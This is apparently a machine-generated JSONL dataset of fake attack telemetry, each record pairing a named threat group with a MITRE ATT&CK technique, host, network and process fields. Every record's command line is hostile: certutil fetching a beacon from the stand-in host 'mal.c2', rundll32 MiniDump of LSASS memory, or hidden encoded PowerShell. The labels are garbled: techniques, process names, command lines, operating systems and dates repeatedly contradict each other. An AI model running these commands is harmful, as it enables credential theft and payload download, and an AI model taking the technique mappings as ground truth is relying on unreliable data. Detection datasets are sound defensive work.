{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1021.006 using LOLBin technique.","sub_technique":"Windows Remote Management","tactic":["Persistence"],"technique_id":"T1021.006"},"event_id":"evt_unc4841_20250420T171210000Z_0009249","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["TLS","Fileless","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.94.217.23","name":"IAM-ROLE-N83VGKC671","os":"Amazon Linux 2"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9249UNC4841T1021.006"},"network":{"domain":"aws.amazon.com","dst_ip":"1.6.172.220","dst_port":8443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"bitsadmin.exe","parent_name":"services.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-09-17T16:44:51.000Z","user":{"name":"i-ffae2bgaq8gl","sid":"S-1-5-21-518815383-601978619-8117"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1570 using cloud-native technique.","sub_technique":"Lateral Tool Transfer","tactic":["Execution","Discovery"],"technique_id":"T1570"},"event_id":"evt_lapsus_20260216T113014000Z_0009251","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["LOLBin","Base64","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.10.111.70","name":"DB-ORACLE-DQQ6SQYB1E","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9251Lapsus$T1570"},"network":{"domain":"update.microsoft.com","dst_ip":"1.168.40.60","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 825 C:\\temp\\lsass.dmp full","name":"mshta.exe","parent_name":"winlogon.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-02-20T08:13:54.000Z","user":{"name":"azuread\\32cfuenyl2ij","sid":"S-1-5-21-190829721-663685654-8926"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1484.001 using cloud-native technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Execution","Defense Evasion"],"technique_id":"T1484.001"},"event_id":"evt_fin7_20250209T075508000Z_0009253","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["Base64","TLS","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.79.2.251","name":"APP-WEB-K45ZSB7GYJ","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9253FIN7T1484.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.85.219.34","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"cmstp.exe","parent_name":"winlogon.exe"},"source":"Windows Security Log","timestamp":"2026-09-03T13:10:43.000Z","user":{"name":"i-6vox40g2xfrs","sid":"S-1-5-21-100717458-953998401-3028"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1566.001 using cloud-native technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Execution","Persistence"],"technique_id":"T1566.001"},"event_id":"evt_volttyphoon_20251009T142756000Z_0009255","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["LOLBin","Base64","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.52.196.12","name":"APP-WEB-M39MWHWDIT","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9255Volt TyphoonT1566.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.179.27.30","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2083 C:\\temp\\lsass.dmp full","name":"bitsadmin.exe","parent_name":"services.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-05-19T19:02:33.000Z","user":{"name":"arn:aws:iam::jm15cp7zkory","sid":"S-1-5-21-698512842-218255525-7912"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1570 using LOLBin technique.","sub_technique":"Lateral Tool Transfer","tactic":["Defense Evasion","Command and Control"],"technique_id":"T1570"},"event_id":"evt_unc4841_20250118T173428000Z_0009257","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["Fileless","LOLBin","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.116.122.171","name":"EC2-INST-MC639RLIJD","os":"Amazon Linux 2"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9257UNC4841T1570"},"network":{"domain":"github.com","dst_ip":"1.46.4.212","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"wmic.exe","parent_name":"services.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-11-09T11:25:03.000Z","user":{"name":"arn:aws:iam::76g7fv1r6b64","sid":"S-1-5-21-716159253-693907257-4624"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1531 using cloud-native technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Impact","Reconnaissance"],"technique_id":"T1531"},"event_id":"evt_apt29_20260506T114112000Z_0009259","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","LOLBin","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.205.216.184","name":"WIN-FIN-SRV-ISFRSEKUW5","os":"Ubuntu 22.04"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9259APT29T1531"},"network":{"domain":"aws.amazon.com","dst_ip":"1.6.174.239","dst_port":8443,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1293 C:\\temp\\lsass.dmp full","name":"wmic.exe","parent_name":"winlogon.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-04-08T23:51:54.000Z","user":{"name":"i-2ca3i7g78vee","sid":"S-1-5-21-861826611-717428845-5440"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1546.003 using fileless technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Defense Evasion"],"technique_id":"T1546.003"},"event_id":"evt_scatteredspider_20261025T230618000Z_0009261","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["WMI","Base64","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.39.54.106","name":"AZURE-VM-KOVOKJ7RNK","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9261Scattered SpiderT1546.003"},"network":{"domain":"github.com","dst_ip":"1.40.77.64","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"certutil.exe","parent_name":"services.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-12-18T14:47:46.000Z","user":{"name":"i-lj068bwwwu11","sid":"S-1-5-21-619350939-993690992-5196"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1021.006 using fileless technique.","sub_technique":"Windows Remote Management","tactic":["Discovery"],"technique_id":"T1021.006"},"event_id":"evt_unc4841_20251205T055225000Z_0009263","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["Fileless","WMI","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.203.79.249","name":"EC2-INST-LBPO6R20E7","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9263UNC4841T1021.006"},"network":{"domain":"github.com","dst_ip":"1.184.148.152","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"cmstp.exe","parent_name":"explorer.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-10-06T23:20:39.000Z","user":{"name":"azuread\\pwxu5wo1883v","sid":"S-1-5-21-456343127-468693390-5094"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1098.004 using LOLBin technique.","sub_technique":"SSH Authorized Keys","tactic":["Impact"],"technique_id":"T1098.004"},"event_id":"evt_lapsus_20260710T194757000Z_0009265","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["TLS","JA3 Spoof","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.73.113.6","name":"WIN-FIN-SRV-4MGFHHZ3DW","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9265Lapsus$T1098.004"},"network":{"domain":"aws.amazon.com","dst_ip":"1.83.84.186","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3855 C:\\temp\\lsass.dmp full","name":"cmstp.exe","parent_name":"svchost.exe"},"source":"Windows Security Log","timestamp":"2026-05-11T13:12:05.000Z","user":{"name":"CORP\\eiixpi0o907o","sid":"S-1-5-21-654996130-173453327-2187"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1566.001 using encrypted C2 technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Persistence","Privilege Escalation","Command and Control"],"technique_id":"T1566.001"},"event_id":"evt_scatteredspider_20250924T090102000Z_0009267","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["Fileless","LOLBin","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.14.164.186","name":"APP-WEB-WKGV9RJGF2","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9267Scattered SpiderT1566.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.106.95.101","dst_port":8443,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"bitsadmin.exe","parent_name":"svchost.exe"},"source":"Windows Security Log","timestamp":"2026-10-17T05:23:05.000Z","user":{"name":"i-2c7yttmv3qho","sid":"S-1-5-21-380206770-752374620-2035"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1566.001 using LOLBin technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Collection","Reconnaissance"],"technique_id":"T1566.001"},"event_id":"evt_lapsus_20261027T194814000Z_0009269","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["LOLBin","JA3 Spoof","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.170.192.178","name":"APP-WEB-8WH0I2IBZU","os":"Windows 11"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9269Lapsus$T1566.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.121.217.179","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"rundll32.exe","parent_name":"explorer.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-11-21T20:48:36.000Z","user":{"name":"azuread\\yiich0peiowv","sid":"S-1-5-21-646403884-545114300-7094"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1003.001 using encrypted C2 technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Lateral Movement","Credential Access"],"technique_id":"T1003.001"},"event_id":"evt_scatteredspider_20260722T164341000Z_0009271","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["WMI","TLS","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.86.81.4","name":"WIN-FIN-SRV-H1BPZPPZ70","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9271Scattered SpiderT1003.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.161.224.29","dst_port":8443,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"bitsadmin.exe","parent_name":"svchost.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-02-03T16:14:45.000Z","user":{"name":"i-h1zlat120kcp","sid":"S-1-5-21-823492877-144593635-8917"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1531 using encrypted C2 technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Collection"],"technique_id":"T1531"},"event_id":"evt_fin7_20260106T173005000Z_0009273","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["LOLBin","TLS","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.227.254.75","name":"AZURE-VM-7COAG8KOX5","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9273FIN7T1531"},"network":{"domain":"update.microsoft.com","dst_ip":"1.138.6.125","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"mshta.exe","parent_name":"services.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-08-26T01:39:06.000Z","user":{"name":"azuread\\2l21zf069r60","sid":"S-1-5-21-328890052-901598130-9720"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1546.003 using fileless technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Command and Control"],"technique_id":"T1546.003"},"event_id":"evt_apt29_20250731T194212000Z_0009275","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["TLS","WMI","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.29.20.38","name":"WIN-FIN-SRV-V7HNPB9K5H","os":"Windows 11"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9275APT29T1546.003"},"network":{"domain":"aws.amazon.com","dst_ip":"1.40.199.118","dst_port":8443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"wmic.exe","parent_name":"svchost.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-06-24T11:49:24.000Z","user":{"name":"i-gecsne3pbif1","sid":"S-1-5-21-147827244-753209134-3755"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1531 using fileless technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Initial Access","Execution"],"technique_id":"T1531"},"event_id":"evt_scatteredspider_20250427T062301000Z_0009277","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["Fileless","TLS","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.104.115.30","name":"AZURE-VM-B4G4SK1OBL","os":"Amazon Linux 2"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9277Scattered SpiderT1531"},"network":{"domain":"aws.amazon.com","dst_ip":"1.39.126.49","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"certutil.exe","parent_name":"services.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-01-05T03:28:01.000Z","user":{"name":"azuread\\7bzbpov31psb","sid":"S-1-5-21-392768409-478425577-2584"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1059.001 using LOLBin technique.","sub_technique":"PowerShell","tactic":["Credential Access"],"technique_id":"T1059.001"},"event_id":"evt_lapsus_20260806T023218000Z_0009279","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["TLS","Base64","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.119.144.188","name":"WIN-FIN-SRV-LCY5X3QRCG","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9279Lapsus$T1059.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.146.62.91","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"rundll32.exe","parent_name":"winlogon.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-08-31T00:26:36.000Z","user":{"name":"i-g0mpbvxzu7px","sid":"S-1-5-21-489302693-460643471-9798"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1071.001 using fileless technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Reconnaissance","Initial Access","Persistence"],"technique_id":"T1071.001"},"event_id":"evt_apt41_20261213T235045000Z_0009281","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["WMI","TLS","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.201.39.82","name":"DB-ORACLE-UT1YE9H7PA","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9281APT41T1071.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.194.176.58","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"rundll32.exe","parent_name":"winlogon.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-06-03T21:14:28.000Z","user":{"name":"arn:aws:iam::fivq8lholgp0","sid":"S-1-5-21-381017359-978078558-1852"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1484.001 using LOLBin technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Exfiltration","Defense Evasion"],"technique_id":"T1484.001"},"event_id":"evt_volttyphoon_20261212T155755000Z_0009283","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["WMI","LOLBin","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.104.121.198","name":"APP-WEB-75UFNCC1R6","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9283Volt TyphoonT1484.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.107.35.190","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"powershell.exe","parent_name":"explorer.exe"},"source":"Windows Security Log","timestamp":"2026-02-25T03:15:36.000Z","user":{"name":"CORP\\7686kfv81ona","sid":"S-1-5-21-431446647-857673925-7453"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1021.006 using fileless technique.","sub_technique":"Windows Remote Management","tactic":["Lateral Movement","Initial Access","Privilege Escalation"],"technique_id":"T1021.006"},"event_id":"evt_scatteredspider_20261018T072117000Z_0009285","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["LOLBin","WMI","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.118.15.191","name":"APP-WEB-AQJVPUB1ID","os":"Windows 11"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9285Scattered SpiderT1021.006"},"network":{"domain":"aws.amazon.com","dst_ip":"1.68.246.145","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"mshta.exe","parent_name":"svchost.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-05-01T16:49:43.000Z","user":{"name":"CORP\\cnpp8b9j3nz8","sid":"S-1-5-21-659405954-813495269-2063"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1566.001 using encrypted C2 technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Initial Access"],"technique_id":"T1566.001"},"event_id":"evt_apt29_20250705T022634000Z_0009287","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["LOLBin","WMI","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.220.75.133","name":"IAM-ROLE-FZ6XH0LMW6","os":"Windows 11"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9287APT29T1566.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.25.36.41","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 714 C:\\temp\\lsass.dmp full","name":"mshta.exe","parent_name":"winlogon.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-11-13T16:45:30.000Z","user":{"name":"svc_if485gb2p61l","sid":"S-1-5-21-741569078-553836860-2346"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1531 using cloud-native technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Collection","Impact"],"technique_id":"T1531"},"event_id":"evt_unc4841_20250813T061117000Z_0009289","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["LOLBin","WMI","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.151.28.131","name":"EC2-INST-BHQMSXHB21","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9289UNC4841T1531"},"network":{"domain":"aws.amazon.com","dst_ip":"1.190.183.100","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"cmstp.exe","parent_name":"winlogon.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-10-23T22:28:34.000Z","user":{"name":"svc_yr58awnt8ca2","sid":"S-1-5-21-101459403-799732442-1541"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1566.001 using LOLBin technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Initial Access","Collection"],"technique_id":"T1566.001"},"event_id":"evt_mustangpanda_20260227T232941000Z_0009291","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["WMI","TLS","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.163.195.15","name":"IAM-ROLE-VPBWX520PZ","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9291Mustang PandaT1566.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.95.31.175","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"bitsadmin.exe","parent_name":"services.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-07-01T12:47:38.000Z","user":{"name":"azuread\\sffpjh29jwwm","sid":"S-1-5-21-661139320-264942177-9772"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1566.001 using encrypted C2 technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Command and Control","Collection","Reconnaissance"],"technique_id":"T1566.001"},"event_id":"evt_mustangpanda_20250204T211134000Z_0009293","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["TLS","Fileless","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.105.243.178","name":"IAM-ROLE-GQ8P3OG4M4","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9293Mustang PandaT1566.001"},"network":{"domain":"github.com","dst_ip":"1.127.185.204","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"wmic.exe","parent_name":"svchost.exe"},"source":"Windows Security Log","timestamp":"2026-01-21T11:15:54.000Z","user":{"name":"azuread\\l3zioa9y9qdw","sid":"S-1-5-21-140319266-694341216-5738"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1546.003 using encrypted C2 technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Execution"],"technique_id":"T1546.003"},"event_id":"evt_lapsus_20261017T011835000Z_0009295","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["Fileless","LOLBin","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.203.205.67","name":"DB-ORACLE-YXIUQ3BP8I","os":"Windows Server 2022"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9295Lapsus$T1546.003"},"network":{"domain":"update.microsoft.com","dst_ip":"1.3.28.185","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"powershell.exe","parent_name":"winlogon.exe"},"source":"Windows Security Log","timestamp":"2025-10-15T21:49:26.000Z","user":{"name":"svc_lj3n58d5aoii","sid":"S-1-5-21-679040901-779989468-6630"}}
